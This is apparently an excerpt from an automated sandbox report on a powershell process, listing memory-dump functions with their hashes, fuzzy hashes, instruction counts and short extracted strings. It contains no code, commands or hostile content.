Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9714cdb91ac7be2a9d8ec54566f1f5796b7ccf0428dd698afa84ad02a3bcb315
Instruction ID: 0e30636c9d0739f8e80135d6e907fa5bc0a605917ae099608038588085270bea
Opcode Fuzzy Hash: 9714cdb91ac7be2a9d8ec54566f1f5796b7ccf0428dd698afa84ad02a3bcb315
Instruction Fuzzy Hash: 46D01722700362072A1837BE6C007BAA1CE9FC56E97C510369B44D3282EE84AC0203E2

Function 04EFE290 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 1e25f68bc68392a584e3440ee7ac7b3dfc5420715d3d6af1deb3099e0e1596df
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: A5E08635B0011897CB18959DD8144E9F7A5DFCC620F04847ADA0AA7350DA7279168691

Function 04EFE240 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2ba7e5b1e4f02ba2ee19d84f0180b6c7062def2951f18ad3c1b3df12d5775f3
Instruction ID: 845d1038049c29ab66073d380c03dce4c4193ec9a36ed3336abf903a4932d7a8
Opcode Fuzzy Hash: d2ba7e5b1e4f02ba2ee19d84f0180b6c7062def2951f18ad3c1b3df12d5775f3
Instruction Fuzzy Hash: 0DE0C2353407181B8711A76EAD1085FBBEAEFC5660340802EE22ED7354EFA4FC0587D5

Function 04EFF900 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63af0ad6f9611574cf1af2aec7874ca91f89da2b4b905533911349ba67512237
Instruction ID: 1ab1b7b12130e15593c8f6c5964f6ef1e90458cc6e7258584f5cfe7738cc17f7
Opcode Fuzzy Hash: 63af0ad6f9611574cf1af2aec7874ca91f89da2b4b905533911349ba67512237
Instruction Fuzzy Hash: 63E01274D04209DF8780EFA999016AAFFF0EF49200B2081AACA08D7611F7329611EBD5

Function 04EF8DA0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb792652eeb7683f0a6560847dfa8b89d2702d193b3db62286e51f97bfbe9924
Instruction ID: 7efb1d8f8aa6f0d3d183656acad9c87e8260ac5c466667799ace01cadb1c487a
Opcode Fuzzy Hash: eb792652eeb7683f0a6560847dfa8b89d2702d193b3db62286e51f97bfbe9924
Instruction Fuzzy Hash: B5E04834A4A249CFC741EB78D4874AD7FB1EB45214F01026CDD4997B52D6711849CFC2

Function 04E608B8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 497305ef7d64d3daf281ecfaf7fa2742777e927dbf21e9f16e7a5f1938b1f76e
Instruction ID: da638b5a5c9b7694a87c375df7de32b463134dcc3bc09275228fac92ffbc7a8c
Opcode Fuzzy Hash: 497305ef7d64d3daf281ecfaf7fa2742777e927dbf21e9f16e7a5f1938b1f76e
Instruction Fuzzy Hash: 4FE0D83824A2959FC701DB74F5488D87FB1EF4A214F0841D9D4898B363C5B488008B52

Function 04E60888 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af9f95e37167582a9b22e1249a9d7a8e2e905df8a35e89609fa72c5a46b15e57
Instruction ID: f3c274f1855f9bf2f4bc3e4f22cbdb0e2ece15b8aaeedbf1363dcef458d6c913
Opcode Fuzzy Hash: af9f95e37167582a9b22e1249a9d7a8e2e905df8a35e89609fa72c5a46b15e57
Instruction Fuzzy Hash: ABD05E76B10258574A1422BE789886FBFCEEACC1B5314843AAA0DD3301EEB9CC1245B0

Function 04EF8CD9 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a76391b6b859887a7bd35a838fe3fcca92d92161f49240142f55154507765ae3
Instruction ID: 9e26e5d444f7aa8dcf7e2ac59727c73a255ed7be715ba52a518ad463137afd4d
Opcode Fuzzy Hash: a76391b6b859887a7bd35a838fe3fcca92d92161f49240142f55154507765ae3
Instruction Fuzzy Hash: 4FE01A3094A28A8FDB09EF78D59A4ADBFB4EF25201B5002ECD557575A3DB202549CF80

Function 04EFF910 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: b7f294372937eb5d50b800edb5f9592648a6491f4c69074194dabffd18f61e17
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 12D06270D042099F8780DFADC94156DFBF4EB49214F5085AA8919D7301F7325612CBD1

Function 04E608C8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f84a4bfa4d5d6ffa86f988f00fed9671b4cb587643292f49a6e125603145efe0
Instruction ID: ad4669198eaf3bb19d688723d85dca17e061aa7e287575bce88ddd7cb1917f5d
Opcode Fuzzy Hash: f84a4bfa4d5d6ffa86f988f00fed9671b4cb587643292f49a6e125603145efe0
Instruction Fuzzy Hash: 68D05E39310114DFC700EB78E44CD45BFB9EB48214B018195E90987322DA65DC008B91

Function 04EF8CE8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91168a2bd7a3ba625f5e4cc4503c9a8e7fc072c6cc56049dbdd644a0d0032dad
Instruction ID: f12d2ea301e50000a30ac209448f087022526d64b2d98306782b16dbb30dcc4e
Opcode Fuzzy Hash: 91168a2bd7a3ba625f5e4cc4503c9a8e7fc072c6cc56049dbdd644a0d0032dad
Instruction Fuzzy Hash: 7AD01730A09009CBCB08FFA4E81A4FDBBB8EF10201F5000ADEA17521C3EB30290ADAC4

Function 04EF8DB0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76760f7f042a3d7bf692693f2808f147ebc27a83678997f789ef80f68047798
Instruction ID: e573d4bd0e668a7730fe1d4ab49d5bd0484f17f15af062ddb15deea6208c842e
Opcode Fuzzy Hash: e76760f7f042a3d7bf692693f2808f147ebc27a83678997f789ef80f68047798
Instruction Fuzzy Hash: 3FD06778A09209CBC744EFA8E85646EBBB5FB45205F004169E90993795EA306851CBC6

Function 04EF7ED0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f83de7014cf95977a6d0e9a4c7109881a5bedef2688bcf12ff47fee50f03be0
Instruction ID: aa61a1802c5e510d2cd55e64f99518a075000ec7fff594a9509f9e2cdb5de5f5
Opcode Fuzzy Hash: 9f83de7014cf95977a6d0e9a4c7109881a5bedef2688bcf12ff47fee50f03be0
Instruction Fuzzy Hash: 8DD0C931259385CFC3065F7994199043B78BF5660578204E9E04A8FBE3DB35D845CB92

Function 04EF8441 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c47dc7f423f0547cdd417de3f8006ba9d3c321068919b7ac0a9e564383f15c
Instruction ID: 17effe022238ecbfda2194c31462b063b5654bafccad7e5a6317b345ee5dc438
Opcode Fuzzy Hash: 63c47dc7f423f0547cdd417de3f8006ba9d3c321068919b7ac0a9e564383f15c
Instruction Fuzzy Hash: 0AC08C21B097D00BEF53823944885083F721BAB11670840944241CB483CA2888018361

Function 04EF7EE0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d6c8f3cdf6d9b19c3068a6d8809057c7058585da6b77f7aa537022f2508cc62
Instruction ID: 0aa7db6bfbb75157f367cfc767fe8eaccba95aa396dad05ae867f499b05fa5b8
Opcode Fuzzy Hash: 3d6c8f3cdf6d9b19c3068a6d8809057c7058585da6b77f7aa537022f2508cc62
Instruction Fuzzy Hash: D7B09231054309CFC2096F75E4088147329BE4060938009ECE50E4B7929F36E841CA45

Function 04EF78C0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831dc6ab66cad24ce77b61ccf40df338c3186f3f5d0b69d34581ece23abd9d23
Instruction ID: eb7449751052651802226fe0738da648bfbd4ad746f36db09d6f85636e494bf3
Opcode Fuzzy Hash: 831dc6ab66cad24ce77b61ccf40df338c3186f3f5d0b69d34581ece23abd9d23
Instruction Fuzzy Hash: C4A0023AF1459147FF5DFA355A5E57E662367C1206304D86F5A0BC4444DE346045A504

Non-executed Functions

Function 08F03AB0 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1804096861.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 740af8e190f92ba0df607def895d94761528238b0463697745d417e39c504e03
Instruction ID: 0134c029d8f5cd9672708ce5cf8b674d1fae5f4c99f1fb86478a79bf650479ef
Opcode Fuzzy Hash: 740af8e190f92ba0df607def895d94761528238b0463697745d417e39c504e03
Instruction Fuzzy Hash: C2E12870A002059FDB14DF79C844BAABBF1EF44305F548A6DD406DB3A1EB72E9469F90

Function 07D71CE0 Relevance: 20.4, Strings: 16, Instructions: 417COMMON

Download Yara Rule

Strings

J4l, xrefs: 07D721F6
r3l, xrefs: 07D71D5D
r3l, xrefs: 07D71D53
J4l, xrefs: 07D72133
4'^q, xrefs: 07D71D92
841l, xrefs: 07D72094
4'^q, xrefs: 07D71D86
$c&k, xrefs: 07D721DC
J4l, xrefs: 07D7213F
4'^q, xrefs: 07D720B1
J4l, xrefs: 07D720C9
J4l, xrefs: 07D721EA
841l, xrefs: 07D7209E
tP^q, xrefs: 07D72107
4'^q, xrefs: 07D720BD
tP^q, xrefs: 07D72113

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: $c&k$4'^q$4'^q$4'^q$4'^q$841l$841l$tP^q$tP^q$J4l$J4l$J4l$J4l$J4l$r3l$r3l
API String ID: 0-986532946
Opcode ID: 3edd1f4e1df592d893dd1b785e5b06a67bdb7dd65c9278da7a09eb59c5a50d35
Instruction ID: e90bb2eb1c4764a0e0e64010cd41aaa846f1e58612cb00832bd17016e2535a19
Opcode Fuzzy Hash: 3edd1f4e1df592d893dd1b785e5b06a67bdb7dd65c9278da7a09eb59c5a50d35
Instruction Fuzzy Hash: 01D165B1B0424ACFC7258B6998006AAFBF2BFC6310F18C5ABC545CB355EB32D845C7A1

Function 04EF97C4 Relevance: 15.3, Strings: 12, Instructions: 314COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF97DB
m^, xrefs: 04EF993B
m^, xrefs: 04EF9A4B
m^, xrefs: 04EF99BB
m^, xrefs: 04EF99DB
m^, xrefs: 04EF984B
m^, xrefs: 04EF98EB
m^, xrefs: 04EF983B
m^, xrefs: 04EF97EB
m^, xrefs: 04EF994B
m^, xrefs: 04EF99EB
m^, xrefs: 04EF98DB

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m^$m^$m^$m^$m^$m^$m^$m^$m^$m^$m^$m^
API String ID: 0-2895441867
Opcode ID: 52508d678c7b258e39cd6c1889057f85e296a744f9cf48519d5f919b5b09238a
Instruction ID: 365a4465d8d10073053dfbc748f2b323aaec222a17c8d7f07285947d9bae6b2b
Opcode Fuzzy Hash: 52508d678c7b258e39cd6c1889057f85e296a744f9cf48519d5f919b5b09238a
Instruction Fuzzy Hash: E5A1066164E7E60FD313A7289CA60DA7F31AE53194B4E05D7C5D1CF0A3EA085E1BC7A2

Function 04EF986B Relevance: 11.4, Strings: 9, Instructions: 124COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF989B
m^, xrefs: 04EF993B
m^, xrefs: 04EF987B
m^, xrefs: 04EF98EB
m, xrefs: 04EF98A9
m^, xrefs: 04EF994B
m^, xrefs: 04EF98BB
m^, xrefs: 04EF986B
m^, xrefs: 04EF98DB

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m$m^$m^$m^$m^$m^$m^$m^$m^
API String ID: 0-2238096586
Opcode ID: be8b300e466dfc0208adb2dc8d55774c77af2039428a2727130dfbde36a2944c
Instruction ID: 53940f77445866882c075f5ecddeaf064e16b7f7d8b8afda3ae88eef1e60df1b
Opcode Fuzzy Hash: be8b300e466dfc0208adb2dc8d55774c77af2039428a2727130dfbde36a2944c
Instruction Fuzzy Hash: 1041C161A4E7D20FD30396289CA61997F32AE53590B4E04E7C9D1CF1A3EA084D1FC7A3

Function 07D72E80 Relevance: 10.2, Strings: 8, Instructions: 236COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07D73079
4c^q, xrefs: 07D73083
tP^q, xrefs: 07D72FAD
841l, xrefs: 07D72F5E
4c^q, xrefs: 07D7306F
4c^q, xrefs: 07D72F14
841l, xrefs: 07D72F52
tP^q, xrefs: 07D72FB9

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$841l$tP^q$tP^q
API String ID: 0-1511268102
Opcode ID: c53453a03f22b3731175e467c0ae376eb3438a72574653e7be620d9e11742be4
Instruction ID: e7ec4b5e8f086a62edf633f55d8aaf33c502580b3d85e7a869650f735fc018bf
Opcode Fuzzy Hash: c53453a03f22b3731175e467c0ae376eb3438a72574653e7be620d9e11742be4
Instruction Fuzzy Hash: 638155B1B002999FD7149F68D84466AFBF2BF89310F148469E8459F351EF32EC48CBA1

Function 04EF996B Relevance: 10.1, Strings: 8, Instructions: 116COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF997B
m^, xrefs: 04EF9A4B
m^, xrefs: 04EF99BB
^, xrefs: 04EF99A9
m^, xrefs: 04EF996B
m^, xrefs: 04EF99DB
m^, xrefs: 04EF999B
m^, xrefs: 04EF99EB

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: ^$m^$m^$m^$m^$m^$m^$m^
API String ID: 0-3067607598
Opcode ID: b7d9f542f537605a93dc238230d339508e6f37f81c10c7c415f0db932deb797f
Instruction ID: 3caf40a8c956fb6a6e3a844eebdd958e97a1bb8e79ee354dfc813b789444241a
Opcode Fuzzy Hash: b7d9f542f537605a93dc238230d339508e6f37f81c10c7c415f0db932deb797f
Instruction Fuzzy Hash: CC41C56164E7E20FD313AB289C650963F319E93194B4E04E7C9D1CF1A3E6089D1AC7A7

Function 04EFB16A Relevance: 8.8, Strings: 7, Instructions: 96COMMON

Download Yara Rule

Strings

m^, xrefs: 04EFB1DB
m^, xrefs: 04EFB1EB
^, xrefs: 04EFB1A9
m^, xrefs: 04EFB1BB
m^, xrefs: 04EFB16B
m^, xrefs: 04EFB15B
m^, xrefs: 04EFB17B

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: ^$m^$m^$m^$m^$m^$m^
API String ID: 0-1889091700
Opcode ID: 1741eae817fd7669574ba2c4c454b5834efe1482751915ada4b3d3036fdc4d13
Instruction ID: a99ea4fd3d6076c00ce03f15a7d6a7b56eaede75720435db34a6337a70f6407d
Opcode Fuzzy Hash: 1741eae817fd7669574ba2c4c454b5834efe1482751915ada4b3d3036fdc4d13
Instruction Fuzzy Hash: 0931242160E3D21FE70397389DAA4963F719E93294B5E08D7C4D1CF1A7E608990AC7A7

Function 07D72E5F Relevance: 7.7, Strings: 6, Instructions: 157COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07D73079
tP^q, xrefs: 07D72FAD
4c^q, xrefs: 07D73083
4c^q, xrefs: 07D7306F
4c^q, xrefs: 07D72F14
841l, xrefs: 07D72F52

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$tP^q
API String ID: 0-369957374
Opcode ID: 7619659934638819c5da8be9b2405470bcd662bebf77fadb2e40aad0a6142f4e
Instruction ID: 3776c4c4a08d1faaa22f613743884d4800d5e76e76f4b1e0dccc41ab59922f4f
Opcode Fuzzy Hash: 7619659934638819c5da8be9b2405470bcd662bebf77fadb2e40aad0a6142f4e
Instruction Fuzzy Hash: 5C5124B1E002959BCB259F29C8856A9FFF2FF45710F488499E8459F391EB31EC44CBA1

Function 07D74A90 Relevance: 6.5, Strings: 5, Instructions: 239COMMON

Download Yara Rule

Strings

$^q, xrefs: 07D74CFE
$^q, xrefs: 07D74D22
4'^q, xrefs: 07D74C1E
4'^q, xrefs: 07D74C2A
$^q, xrefs: 07D74D16

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 443588efd445a9762bae3257a97b4401bc5e75d0e16ec12a3d12a61fffad26ef
Instruction ID: 6adc2977ea11562a3000483e1781295c04c1f647ef0778797a6d4df5be0ca8de
Opcode Fuzzy Hash: 443588efd445a9762bae3257a97b4401bc5e75d0e16ec12a3d12a61fffad26ef
Instruction Fuzzy Hash: 677159B1B002968FC7269B79994467AFBE2AFC6210F14847AD545CB355FF32CC41C7A1

Function 04EF7FC9 Relevance: 6.5, Strings: 5, Instructions: 236COMMON

Download Yara Rule

Strings

`_q, xrefs: 04EF81E4
`_q, xrefs: 04EF8142
tM3l, xrefs: 04EF8074
`_q, xrefs: 04EF80C3
`_q, xrefs: 04EF8262

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$`_q$`_q$`_q$`_q
API String ID: 0-364041226
Opcode ID: 5b3e1184ec29857ea6bbcdfd64575ffb7503d7d3daa7ceb837231eab527986a0
Instruction ID: e94a81e51937ab38b220a7d51d11e370060ba939697d899207cb4e7a6cb51b93
Opcode Fuzzy Hash: 5b3e1184ec29857ea6bbcdfd64575ffb7503d7d3daa7ceb837231eab527986a0
Instruction Fuzzy Hash: D8B1A474E0120A9FDB54DFA9D980A9DFBF2FF88304F108629D419AB355EB30A945CF90

Function 04EF7FD0 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 04EF81E4
`_q, xrefs: 04EF8142
tM3l, xrefs: 04EF8074
`_q, xrefs: 04EF80C3
`_q, xrefs: 04EF8262

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$`_q$`_q$`_q$`_q
API String ID: 0-364041226
Opcode ID: 276d05efed1925acca282169640580b3404fb287d174d7c3a1b1ecf55058b58c
Instruction ID: 3a2efef64fff415a88915290f1ef432ada673e62177bb9c9629c36dd9ad4f571
Opcode Fuzzy Hash: 276d05efed1925acca282169640580b3404fb287d174d7c3a1b1ecf55058b58c
Instruction Fuzzy Hash: E1B1A474E0120A9FDB54DFA9D980A9DFBF2FF88304F108629D419AB355EB30A945CF90

Function 04EF3939 Relevance: 6.4, Strings: 5, Instructions: 149COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF39A3
m^, xrefs: 04EF39D3
m^, xrefs: 04EF3A03
m^, xrefs: 04EF3A13
m^, xrefs: 04EF39F3

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m^$m^$m^$m^$m^
API String ID: 0-1825230704
Opcode ID: b2ab3622159287c0e302d1b4f3ce2e0a532d8dbaf0ebd709c0a67e94e2f433eb
Instruction ID: 4310406552cbf179ab71cb8a313ae7ecc8f57b003d48eecb98dfe7772c2f7eca
Opcode Fuzzy Hash: b2ab3622159287c0e302d1b4f3ce2e0a532d8dbaf0ebd709c0a67e94e2f433eb
Instruction Fuzzy Hash: FD41489280E7D14FD7035B384DBA0967FB09E1329470A22D7C9E1CF4A7E80C685AC7A6

Function 07D73695 Relevance: 6.4, Strings: 5, Instructions: 106COMMON

Download Yara Rule

Strings

$^q, xrefs: 07D736C0
$^q, xrefs: 07D736DC
$^q, xrefs: 07D736F8
tP^q, xrefs: 07D7375C
$^q, xrefs: 07D73717

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q$$^q
API String ID: 0-324510305
Opcode ID: 42b1334cb0bf348a7afef85cf783fb8829a95451bc7f4bfc58fa4a69a19a205a
Instruction ID: 91643996c9d41cb628b192820bb5bc5a7bc019184a6f5f0d5ce55a338b63526f
Opcode Fuzzy Hash: 42b1334cb0bf348a7afef85cf783fb8829a95451bc7f4bfc58fa4a69a19a205a
Instruction Fuzzy Hash: F63129F66043959FCB248F64C840969FBF4EF82661B25806BE8808F362EB36DD04D761

Function 04EF165B Relevance: 6.4, Strings: 5, Instructions: 100COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF16E3
m^, xrefs: 04EF1723
m^, xrefs: 04EF1713
m^, xrefs: 04EF1693
m^, xrefs: 04EF16A3

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m^$m^$m^$m^$m^
API String ID: 0-1825230704
Opcode ID: f73613480530ffe0d58d273b4942ef29cea800f9cd724ca03951413b29275b8c
Instruction ID: fbf0ba20395dae652a13cb6ef29d91e7ea62540560fca26cf6facbfdaead82df
Opcode Fuzzy Hash: f73613480530ffe0d58d273b4942ef29cea800f9cd724ca03951413b29275b8c
Instruction Fuzzy Hash: 0E31305281E7D10FE7035B2C99B62C27FB49E53268B4E40D3C8D0CF4A7E554495E83A6

Function 07D70360 Relevance: 6.3, Strings: 5, Instructions: 78COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07D703D7
4'^q, xrefs: 07D7034F
$^q, xrefs: 07D703AA
4'^q, xrefs: 07D703CB
$^q, xrefs: 07D703B6

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$$^q$$^q
API String ID: 0-2831958266
Opcode ID: d3db8a16298f3df99d2a9d849a1f099cda5e0396a571e28bd3210269cebd6e0e
Instruction ID: 86ebd66a65d2c4c8dbbd3cb5aa61ab085ac93ffe655844fefccf5188b3210ad2
Opcode Fuzzy Hash: d3db8a16298f3df99d2a9d849a1f099cda5e0396a571e28bd3210269cebd6e0e
Instruction Fuzzy Hash: A6112761B493A51FC72B216C6C201EA9BF24BC297135901A7E084DF3E6ED558C4AC3E2

Function 04EF0C62 Relevance: 6.3, Strings: 5, Instructions: 78COMMON

Download Yara Rule

Strings

m^, xrefs: 04EF0CB3
m^, xrefs: 04EF0C63
m^, xrefs: 04EF0C93
m^, xrefs: 04EF0C53
m^, xrefs: 04EF0CA3

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: m^$m^$m^$m^$m^
API String ID: 0-1825230704
